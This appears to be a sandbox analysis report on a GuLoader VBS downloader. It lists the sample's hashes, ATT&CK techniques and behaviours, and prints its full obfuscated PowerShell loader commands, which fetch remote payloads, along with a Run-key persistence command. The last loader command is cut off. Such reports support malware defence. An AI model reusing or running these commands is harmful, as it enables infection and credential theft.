guloader | 7ee0f30b98e51cdd92991f851a0cbabe3289478579db8559632c1d5389fe8b22

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
22/08/2024, 01:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7ee0f30b98e51cdd92991f851a0cbabe3289478579db8559632c1d5389fe8b22.vbs
Size 145KB
Sample240822-b84gfssdnb
SHA256 7ee0f30b98e51cdd92991f851a0cbabe3289478579db8559632c1d5389fe8b22
MD5 3e8ac7a67de94a6bcb1496c6cc33c937
SHA1 a17d348702c2687982d0aa7fcd1a877446c94eee
SHA512 59eec15d7989b3c99919d1b4f3c23adaae6ed3cd428382c56c61ad201b6d8d4cf011e572213f8288af421153fb0a367aa0c922033a1cb76beabc2053548e6550
SSDEEP 3072:gjGO63YDSdYB51Gy/ABuIWHwxoH0sHXaHb0bIkNTEx29OjmnA8cw:IGO63WSdYB51Gy/quNHwaHdHqHb0bIkt
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection credential_access defense_evasion discovery downloader execution persistence privilege_escalation stealer

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4408-65-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/2604-67-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/216-73-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2604-67-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4408-65-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	2372	WScript.exe
12	4668	powershell.exe
63	4848	powershell.exe
65	4848	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Conjoined = "%Misclassifies% -w 1 $Turtelduens=(Get-ItemProperty -Path 'HKCU:\\Phototactically\\').Kulturgeografi;%Misclassifies% ($Turtelduens)"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4668	powershell.exe
3400	powershell.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
1132	wab.exe
1132	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3400	powershell.exe
1132	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3400 set thread context of 1132	3400	powershell.exe	100
PID 1132 set thread context of 4408	1132	wab.exe	108
PID 1132 set thread context of 2604	1132	wab.exe	109
PID 1132 set thread context of 216	1132	wab.exe	110

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
4848	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000_Classes\Local Settings	wab.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
5092	reg.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
4668	powershell.exe
4668	powershell.exe
3400	powershell.exe
3400	powershell.exe
3400	powershell.exe
4408	wab.exe
4408	wab.exe
216	wab.exe
216	wab.exe
4408	wab.exe
4408	wab.exe
4848	powershell.exe
4848	powershell.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
3400	powershell.exe
1132	wab.exe
1132	wab.exe
1132	wab.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4668	powershell.exe
Token: SeDebugPrivilege	3400	powershell.exe
Token: SeDebugPrivilege	216	wab.exe
Token: SeDebugPrivilege	4848	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1132	wab.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 2372 wrote to memory of 4668	2372	WScript.exe	86
PID 2372 wrote to memory of 4668	2372	WScript.exe	86
PID 4668 wrote to memory of 3460	4668	powershell.exe	89
PID 4668 wrote to memory of 3460	4668	powershell.exe	89
PID 4668 wrote to memory of 3400	4668	powershell.exe	96
PID 4668 wrote to memory of 3400	4668	powershell.exe	96
PID 4668 wrote to memory of 3400	4668	powershell.exe	96
PID 3400 wrote to memory of 3364	3400	powershell.exe	97
PID 3400 wrote to memory of 3364	3400	powershell.exe	97
PID 3400 wrote to memory of 3364	3400	powershell.exe	97
PID 3400 wrote to memory of 1132	3400	powershell.exe	100
PID 3400 wrote to memory of 1132	3400	powershell.exe	100
PID 3400 wrote to memory of 1132	3400	powershell.exe	100
PID 3400 wrote to memory of 1132	3400	powershell.exe	100
PID 3400 wrote to memory of 1132	3400	powershell.exe	100
PID 1132 wrote to memory of 2196	1132	wab.exe	102
PID 1132 wrote to memory of 2196	1132	wab.exe	102
PID 1132 wrote to memory of 2196	1132	wab.exe	102
PID 2196 wrote to memory of 5092	2196	cmd.exe	104
PID 2196 wrote to memory of 5092	2196	cmd.exe	104
PID 2196 wrote to memory of 5092	2196	cmd.exe	104
PID 1132 wrote to memory of 2124	1132	wab.exe	107
PID 1132 wrote to memory of 2124	1132	wab.exe	107
PID 1132 wrote to memory of 2124	1132	wab.exe	107
PID 1132 wrote to memory of 4408	1132	wab.exe	108
PID 1132 wrote to memory of 4408	1132	wab.exe	108
PID 1132 wrote to memory of 4408	1132	wab.exe	108
PID 1132 wrote to memory of 4408	1132	wab.exe	108
PID 1132 wrote to memory of 2604	1132	wab.exe	109
PID 1132 wrote to memory of 2604	1132	wab.exe	109
PID 1132 wrote to memory of 2604	1132	wab.exe	109
PID 1132 wrote to memory of 2604	1132	wab.exe	109
PID 1132 wrote to memory of 216	1132	wab.exe	110
PID 1132 wrote to memory of 216	1132	wab.exe	110
PID 1132 wrote to memory of 216	1132	wab.exe	110
PID 1132 wrote to memory of 216	1132	wab.exe	110
PID 2124 wrote to memory of 4848	2124	WScript.exe	112
PID 2124 wrote to memory of 4848	2124	WScript.exe	112
PID 2124 wrote to memory of 4848	2124	WScript.exe	112
PID 4848 wrote to memory of 5092	4848	powershell.exe	114
PID 4848 wrote to memory of 5092	4848	powershell.exe	114
PID 4848 wrote to memory of 5092	4848	powershell.exe	114

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7ee0f30b98e51cdd92991f851a0cbabe3289478579db8559632c1d5389fe8b22.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentCulture) {$Vee='SUBsTR';$Predepreciated++;}$Vee+='ing';Function Scalopus($Whitesark){$Tonn208=$Whitesark.Length-$Predepreciated;For( $Koloritterne=2;$Koloritterne -lt $Tonn208;$Koloritterne+=3){$Fremsat+=$Whitesark.$Vee.'Invoke'( $Koloritterne, $Predepreciated);}$Fremsat;}function Grafiksystemer($Koloritternesbryderne){ . ($Voterende) ($Koloritternesbryderne);}$Bredlrred207=Scalopus '.oM o Bzp,iTel .lEma o/Pe5Ro.Co0Sk At(CoWG,i NnNudSpoFowBesFo ,dN,iTRi S.1 a0 A..g0To; U NoW iCun.a6Ap4Kv; A OvxL,6Be4Mi;Ud .or Bv M:B,1Is2Do1Re.Pe0Sy)Sa TrGBieG.c DkPao,o/ e2Ch0So1B,0 r0No1 E0 u1 , TvF hiSer VeCifPyoAfxEf/S.1ha2Bd1D,.Mi0.e ';$Chartringernes=Scalopus ' kUFosPre RrSt-ApAE gFoeFrnR.t,r ';$Straffelovenes=Scalopus ' ShMitKot epG sSa:Re/s,/CaiPobBrbCuc Mo .. oc ,oB.mE,.Krs IaPr/ wT.pEn-FoaM,dEsmDii.anRi/ReiP.nJucRelSuuBad se,e/ DL Sd Fe srK bInr yM,n Uj .e,ks i. Bp TfInbIn>IshFot.rt SpAm:,h/Ra/.ucL,pF a,anAfeT,lco- aRadFrmF i MnHyhDeoFrsExtRe.kacFaod.mC,/SbLDidS eTarI,b.or Ty ,nKhjOue ssh,.Lap RfSab ';$Wench=Scalopus 'Ha>Ma ';$Voterende=Scalopus ' i peSixB, ';$Preternotorious='Dekorerede';$tarsadenitis = Scalopus 'k.ecocMih ,oFa .h%S,aRop GpRed caMetk.aBe%St\FoF eoMarComIma tTeiP,vEk.NeUThnM p k .&Un&Ni Tpe IcMrhfaoIn Pt i ';Grafiksystemer (Scalopus 'Ga$.ig,alDioGubSoaH l .: bU .nNes leFjpfia ,rKiabrbSylFleTynK,e.lsSms e=.i( acupm Dd . e/Bec.p a$SptHaazir sSla SdMee.enL,iMitHri,psbo)si ');Grafiksystemer (Scalopus '.x$DagEllNao rbKraPrl M:H.LHou ixSauUlrC,iDio Du,es.a=,a$ uSMot.er Pa lfSlfLae SlAfovovMieTanE ePes D.,rsM.pUnl,ri tMi( n$AnWPaeFjnU,c hPr) n ');Grafiksystemer (Scalopus ',o[StN BedutAu.FiSf.eKurMnv.oistcN eEfPTmoJai.enR.tMeM Ta enNuaS,g.reZ rS,] L:I,:TrSskeRec .uSarFoiSttUtyBaPUnr,yo t OoEncHjoLel v = D Pr[GpND ehet.o.FaSN,eGucEfuGrrCriA,t.iy PCurRhoV t oUnc.mo Gl oTUlyBapMaeT ]Pr: : NTUdl osL,1Q 2Se ');$Straffelovenes=$Luxurious[0];$Alkoves= (Scalopus 'Sa$F.g ulTeoRabGraSelSp:.nB aeTenTatTai.yn Ha.y=h,N QeA wOr-faO Ab Kj aeTecBrt M SrSOvy .s LtBieE m ..yaN .eU.t b..dWSoe FbHaCS,lU.iBee BnOvt');$Alkoves+=$Unseparableness[1];Grafiksystemer ($Alkoves);Grafiksystemer (Scalopus ' H$H BDyeM,nSutT iCanTiaBa.VvHHoeBaa BdTre.er nsGo[Un$ubCCihBeaSarFot rR iF nP gE,eVrrPenM eKosV,]Ln=M $ DB orRee,adS,lDkra r eeS,dBu2Ub0Au7Su ');$sterigma=Scalopus 'Ku$KrB FeSun St iO,nT,a,o.O,DKoo ewlsnR.l ro.aaSidHoFHeifalUieHy(Em$ SSMitD r TaVsfnefMaeHulEnoEnvObeNonCre isp , .$P.BCoaBegSesSktduv .nLisAc)Fo ';$Bagstvns=$Unseparableness[0];Grafiksystemer (Scalopus ',a$S,gEfl BoS,bOsa SlTa:BeRF oGyoKutAmw uaBrrPrdPo=Ha(AnT KeDasAdt F- .PDeaV,tB,h F Dr$OpBYaaV g gsAntEmvFunF s,o)Sm ');while (!$Rootward) {Grafiksystemer (Scalopus 'No$ .gLel UoStbTwa.ul P: vbAraE,s Ri.tfV.iGietydka=M.$J tLorC,uA eNa ') ;Grafiksystemer $sterigma;Grafiksystemer (Scalopus '.eSNatSkaUpr.ntBu- .S Gl ee ieVkp D4A, ');Grafiksystemer (Scalopus 'Al$ .gC l SoPab.ka Ll E:BiRM,oApoCot sw.iaErrS.dAp= r(DoTree,ls tUn-AfPNaa.lt h R G $,kBVaa.igOvs BtCovMunUls a) d ') ;Grafiksystemer (Scalopus 'De$T,gRelBeo Sb BaUnl B:B.MDiyPnr,yiRuorus HcC oDop ne o=Fo$NogYolSpo CbPraLyl.l:FrGP,eDinS,sFukEka,eb.reBillusTre on,isTa+Po+Pe%Co$MoL ouUnxM,u ormeip.o SuInsVa.C,cFlo ,uKun.it S ') ;$Straffelovenes=$Luxurious[$Myrioscope];}$Unconsulting=367466;$margenindstilling=26612;Grafiksystemer (Scalopus ' b$TrgW.lSyo DbCoaDil : JFAal UiKrta tEneTrrSteMedUp F,= SG.oe.rtHa-SgC RoFrn ,t EeVan,nt , P$.nB.oaRog,esBatFyvHun Csst ');Grafiksystemer (Scalopus 'To$LigGrlDeoI,bAbaPalGt:P,U,cn FgUvsBekFuuRoe .sEs Vl=I, B,[,nSw.yPss FtBaeSam e.MeCReoR n ,v elor Rt,i]Se:Un:S.FDarSto.rmKoB ,aP sEfeEg6Ho4ReSR.tInrPsiPan ,g ,(L,$muFkal.ai.utH t .ePrr Ie.ydBl)Un ');Grafiksystemer (Scalopus 'tr$ KgBil aoSob,oa olEm:kaGPao dr ei ClGal SoDeiLidK, Un=hy e[.uSSvy VsSet teS.mFo.inTPae xP.tfa. HERonlicTao,id BiI.n SgPr] u: O:AiAA.SclC .ITaINe.IsGgee .tC SuntS,r LiInn,igMe( P$ UUdncogI.sBokSau kenosCh)H, ');Grafiksystemer (Scalopus 'En$Sog Gl CoEnbGra Bl,i:PrCGaoI,r.ld da.einot,fe.as,p=B.$ FG .oMorLniInlUnl,roU,i,ld K.BlsEruDeb,ss otTar.liFlnIngFl( K$.tU.nnB cNeo nfls Bu PlK,tPsiZonM gPa,Ti$BamKoaSur OgEle PnSki,anD.d,us t.eiS.lF,lCoi fnSpgL )Im ');Grafiksystemer $Cordaites;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4668
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Formativ.Unp && echo t"
    3⤵
    PID:3460
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentCulture) {$Vee='SUBsTR';$Predepreciated++;}$Vee+='ing';Function Scalopus($Whitesark){$Tonn208=$Whitesark.Length-$Predepreciated;For( $Koloritterne=2;$Koloritterne -lt $Tonn208;$Koloritterne+=3){$Fremsat+=$Whitesark.$Vee.'Invoke'( $Koloritterne, $Predepreciated);}$Fremsat;}function Grafiksystemer($Koloritternesbryderne){ . ($Voterende) ($Koloritternesbryderne);}$Bredlrred207=Scalopus '.oM o Bzp,iTel .lEma o/Pe5Ro.Co0Sk At(CoWG,i NnNudSpoFowBesFo ,dN,iTRi S.1 a0 A..g0To; U NoW iCun.a6Ap4Kv; A OvxL,6Be4Mi;Ud .or Bv M:B,1Is2Do1Re.Pe0Sy)Sa TrGBieG.c DkPao,o/ e2Ch0So1B,0 r0No1 E0 u1 , TvF hiSer VeCifPyoAfxEf/S.1ha2Bd1D,.Mi0.e ';$Chartringernes=Scalopus ' kUFosPre RrSt-ApAE gFoeFrnR.t,r ';$Straffelovenes=Scalopus ' ShMitKot epG sSa:Re/s,/CaiPobBrbCuc Mo .. oc ,oB.mE,.Krs IaPr/ wT.pEn-FoaM,dEsmDii.anRi/ReiP.nJucRelSuuBad se,e/ DL Sd Fe srK bInr yM,n Uj .e,ks i. Bp TfInbIn>IshFot.rt SpAm:,h/Ra/.ucL,pF a,anAfeT,lco- aRadFrmF i MnHyhDeoFrsExtRe.kacFaod.mC,/SbLDidS eTarI,b.or Ty ,nKhjOue ssh,.Lap RfSab ';$Wench=Scalopus 'Ha>Ma ';$Voterende=Scalopus ' i peSixB, ';$Preternotorious='Dekorerede';$tarsadenitis = Scalopus 'k.ecocMih ,oFa .h%S,aRop GpRed caMetk.aBe%St\FoF eoMarComIma tTeiP,vEk.NeUThnM p k .&Un&Ni Tpe IcMrhfaoIn Pt i ';Grafiksystemer (Scalopus 'Ga$.ig,alDioGubSoaH l .: bU .nNes leFjpfia ,rKiabrbSylFleTynK,e.lsSms e=.i( acupm Dd . e/Bec.p a$SptHaazir sSla SdMee.enL,iMitHri,psbo)si ');Grafiksystemer (Scalopus '.x$DagEllNao rbKraPrl M:H.LHou ixSauUlrC,iDio Du,es.a=,a$ uSMot.er Pa lfSlfLae SlAfovovMieTanE ePes D.,rsM.pUnl,ri tMi( n$AnWPaeFjnU,c hPr) n ');Grafiksystemer (Scalopus ',o[StN BedutAu.FiSf.eKurMnv.oistcN eEfPTmoJai.enR.tMeM Ta enNuaS,g.reZ rS,] L:I,:TrSskeRec .uSarFoiSttUtyBaPUnr,yo t OoEncHjoLel v = D Pr[GpND ehet.o.FaSN,eGucEfuGrrCriA,t.iy PCurRhoV t oUnc.mo Gl oTUlyBapMaeT ]Pr: : NTUdl osL,1Q 2Se ');$Straffelovenes=$Luxurious[0];$Alkoves= (Scalopus 'Sa$F.g ulTeoRabGraSelSp:.nB aeTenTatTai.yn Ha.y=h,N QeA wOr-faO Ab Kj aeTecBrt M SrSOvy .s LtBieE m ..yaN .eU.t b..dWSoe FbHaCS,lU.iBee BnOvt');$Alkoves+=$Unseparableness[1];Grafiksystemer ($Alkoves);Grafiksystemer (Scalopus ' H$H BDyeM,nSutT iCanTiaBa.VvHHoeBaa BdTre.er nsGo[Un$ubCCihBeaSarFot rR iF nP gE,eVrrPenM eKosV,]Ln=M $ DB orRee,adS,lDkra r eeS,dBu2Ub0Au7Su ');$sterigma=Scalopus 'Ku$KrB FeSun St iO,nT,a,o.O,DKoo ewlsnR.l ro.aaSidHoFHeifalUieHy(Em$ SSMitD r TaVsfnefMaeHulEnoEnvObeNonCre isp , .$P.BCoaBegSesSktduv .nLisAc)Fo ';$Bagstvns=$Unseparableness[0];Grafiksystemer (Scalopus ',a$S,gEfl BoS,bOsa SlTa:BeRF oGyoKutAmw uaBrrPrdPo=Ha(AnT KeDasAdt F- .PDeaV,tB,h F Dr$OpBYaaV g gsAntEmvFunF s,o)Sm ');while (!$Rootward) {Grafiksystemer (Scalopus 'No$ .gLel UoStbTwa.ul P: vbAraE,s Ri.tfV.iGietydka=M.$J tLorC,uA eNa ') ;Grafiksystemer $sterigma;Grafiksystemer (Scalopus '.eSNatSkaUpr.ntBu- .S Gl ee ieVkp D4A, ');Grafiksystemer (Scalopus 'Al$ .gC l SoPab.ka Ll E:BiRM,oApoCot sw.iaErrS.dAp= r(DoTree,ls tUn-AfPNaa.lt h R G $,kBVaa.igOvs BtCovMunUls a) d ') ;Grafiksystemer (Scalopus 'De$T,gRelBeo Sb BaUnl B:B.MDiyPnr,yiRuorus HcC oDop ne o=Fo$NogYolSpo CbPraLyl.l:FrGP,eDinS,sFukEka,eb.reBillusTre on,isTa+Po+Pe%Co$MoL ouUnxM,u ormeip.o SuInsVa.C,cFlo ,uKun.it S ') ;$Straffelovenes=$Luxurious[$Myrioscope];}$Unconsulting=367466;$margenindstilling=26612;Grafiksystemer (Scalopus ' b$TrgW.lSyo DbCoaDil : JFAal UiKrta tEneTrrSteMedUp F,= SG.oe.rtHa-SgC RoFrn ,t EeVan,nt , P$.nB.oaRog,esBatFyvHun Csst ');Grafiksystemer (Scalopus 'To$LigGrlDeoI,bAbaPalGt:P,U,cn FgUvsBekFuuRoe .sEs Vl=I, B,[,nSw.yPss FtBaeSam e.MeCReoR n ,v elor Rt,i]Se:Un:S.FDarSto.rmKoB ,aP sEfeEg6Ho4ReSR.tInrPsiPan ,g ,(L,$muFkal.ai.utH t .ePrr Ie.ydBl)Un ');Grafiksystemer (Scalopus 'tr$ KgBil aoSob,oa olEm:kaGPao dr ei ClGal SoDeiLidK, Un=hy e[.uSSvy VsSet teS.mFo.inTPae xP.tfa. HERonlicTao,id BiI.n SgPr] u: O:AiAA.SclC .ITaINe.IsGgee .tC SuntS,r LiInn,igMe( P$ UUdncogI.sBokSau kenosCh)H, ');Grafiksystemer (Scalopus 'En$Sog Gl CoEnbGra Bl,i:PrCGaoI,r.ld da.einot,fe.as,p=B.$ FG .oMorLniInlUnl,roU,i,ld K.BlsEruDeb,ss otTar.liFlnIngFl( K$.tU.nnB cNeo nfls Bu PlK,tPsiZonM gPa,Ti$BamKoaSur OgEle PnSki,anD.d,us t.eiS.lF,lCoi fnSpgL )Im ');Grafiksystemer $Cordaites;"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3400
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Formativ.Unp && echo t"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3364
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1132
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Conjoined" /t REG_EXPAND_SZ /d "%Misclassifies% -w 1 $Turtelduens=(Get-ItemProperty -Path 'HKCU:\Phototactically\').Kulturgeografi;%Misclassifies% ($Turtelduens)"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2196
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Conjoined" /t REG_EXPAND_SZ /d "%Misclassifies% -w 1 $Turtelduens=(Get-ItemProperty -Path 'HKCU:\Phototactically\').Kulturgeografi;%Misclassifies% ($Turtelduens)"
        6⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:5092
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Trekanterne174.vbs"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2124
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "write 'Deaktivering250 Sterilizabilities Desilver Busboy Ischiovertebral Yemen Geotekniske Pagterne Graphoscope preoccupation Lurkers Palliatively Sladrehankenes platybrachycephalous Retshistorie Qualification Kaprendes Undseligheds Orthogonalized Menulinie Prgnantest Larms Antipestilential Blomsterlgene Deaktivering250 Sterilizabilities Desilver Busboy Ischiovertebral Yemen Geotekniske Pagterne Graphoscope preoccupation Lurkers Palliatively Sladrehankenes platybrachycephalous Retshistorie Qualification Kaprendes Undseligheds Orthogonalized Menulinie Prgnantest Larms Antipestilential Blomsterlgene';If (${host}.CurrentCulture) {$Ruefulness='SUBsTR';$Danmarksmestrenes++;}$Ruefulness+='ing';Function semisavage($Semicultivated){$Attesterer=$Semicultivated.Length-$Danmarksmestrenes;For( $Saetningsblok=2;$Saetningsblok -lt $Attesterer;$Saetningsblok+=3){$Deaktivering250+=$Semicultivated.$Ruefulness.'Invoke'( $Saetningsblok, $Danmarksmestrenes);}$Deaktivering250;}function bagstagets($Mirrorise){ . ($Fetichize) ($Mirrorise);}$Nedtrappedes=semisavage 'AfM,eoVezMiiF,lB lAra ,/ S5In.Ko0Af Fe(EuWDei DnredN,oJaw,tsFi .uNSaTR. U1 .0Ha.He0Si; K BaW riTjnMa6 f4ko;Re LaxL.6 K4Be; , urChv.a: ,1Ov2He1,a. M0Re) u SoGBeeL,cBlkKroPr/M.2,o0 ,1 .0 0 E1Ap0 B1St TrFCri,irBeePefr o NxBe/Un1Re2Wi1Mi.Im0Fo ';$Speronaros33=semisavage ' .UAdsCheSurWa- OARigD e OnClt ';$Ischiovertebral=semisavage 'W.hN.t tF.pDusB.:In/ru/,twFoe Kl Occlo Um DsSlpMalHyuHasEn.Unr BuSk/G wMipSt-KoaM,d Sm oiRanA./Chu Bs,fe Ur .s.e/p MSviGdj Ua c.BofInlW.aPr ';$Badeomraaderne=semisavage 'U > L ';$Fetichize=semisavage 'Udi ,e NxNo ';$Chromocyte='Pagterne';$Dysgenical = semisavage 'SceSkcTrhPeo , ,l%DeaRepF,p AdWiaObtSkaAn%.h\,iPDoo usTrhSooTo..rSF gsasB, Mo&Ve& D .eD,cAshhao,i Yht h ';bagstagets (semisavage ' E$K gRelS,o,fbBea ylLe: D.te r.ciSte ,t u=Me(L.c Sm TdSt Ud/SycRu Un$H,D AyGrsCrgCoeTunCaiFecVaaB lA )Gt ');bagstagets (semisavage 'St$StgRilT,oSabtoaSilAn: JB wu FsV,bGloTayR.=Ge$ lIBysr,cKrhSti doAhvMae ErTot eEdbl rRaaQdlHy. LsOopSklKoiA,tTo(,l$M,BN aNudFleKroPemTorUnaSaa Ad .eOvrFenH,e.a)G. ');bagstagets (semisavage 'Un[ ,N FeI t.n.F.S.xeU,rIsvReiAtcIde .PBlo PiWenMatSmM NaU,n aaPeg ,eBerEp]Be:Ha:DrSlaeOpcStuStrRei Ft,iyDePSur ,oLatBloVicsyo FlS, S=,a Hu[ .NBleUnt S.ErSP eAuc LuI.rekiEst iyDrPSpr Bo Dt LoStcT,osulP.TFryKwpPle o]Un:U :hoT RlXas D1.e2 R ');$Ischiovertebral=$Busboy[0];$pvc= (semisavage 'pa$Kog SlLio ,bScas lTh:a.SBiehac.urP euntN iEun.esPi=PeNFreLowUn- UOOvb.ej.telocSatE. ImSL.yS s Pt Me mdo. N reent J.HnWPreI,bsuCA,lD i LeDenVgt');$pvc+=$Deriet[1];bagstagets ($pvc);bagstagets (semisavage 'E.$InSFieFecBarOpe RtEli anExsSi.AdHmiePha rdBle,er Bs,a[Fl$DeSCopAseG rNeoSknFoaD,rReoAssRa3ph3Ur] P=Ka$NoN.oe ,dU t SrAsaplpb,p .eAadSueDesFu ');$Fnernes=semisavage 'ag$p,S Le Sc .r neLft iSun MsBe.muDStoSkwPhnPrlh,oTnaSwdHaFgui MlBee i(,n$UdI,lsEpcBih PiHaoNivM e MrE.tBres.bHvrGaaKnl .,em$ TL,kaForD.mbrs.f) . ';$Larms=$Deriet[0];bagstagets (semisavage 'Ma$S.gInlAloW.b yaE.lKo: SS.oeC lT vOpmStoledEqsSliHagUneMolAisoseL.s .=Ju(umTU eP,sOvt.k-UnP UaD,tRehPr No$siL .a ,rF,mRusH.)El ');while (!$Selvmodsigelses) {bagstagets (semisavage 'Pa$ HgLol.toOfb Pa.ylKr:SeH UuSarFrtHafChuRelti=.u$ ,tE,r gupeeVi ') ;bagstagets $Fnernes;bagstagets (semisavage ' BSRut ,aBrrButWy- aSPelUle,reFlpS. Se4s. ');bagstagets (semisavage ' R$Trg BlUdoAbbIna PlHi:UnS,pe Fl,evTrm.co dUbs eiSig De gl Ms.fe PsBe=Po( NTAleDes at.a- oPNoaBet ThO Da$ChL .aInr,am.osP )Du ') ;bagstagets (semisavage 'Op$DigL,lovoSkbPha Al s: oD,ueT s.picolBevv,e.rrNo=Ro$ShgS,lDeo .bFlaHilF.:P 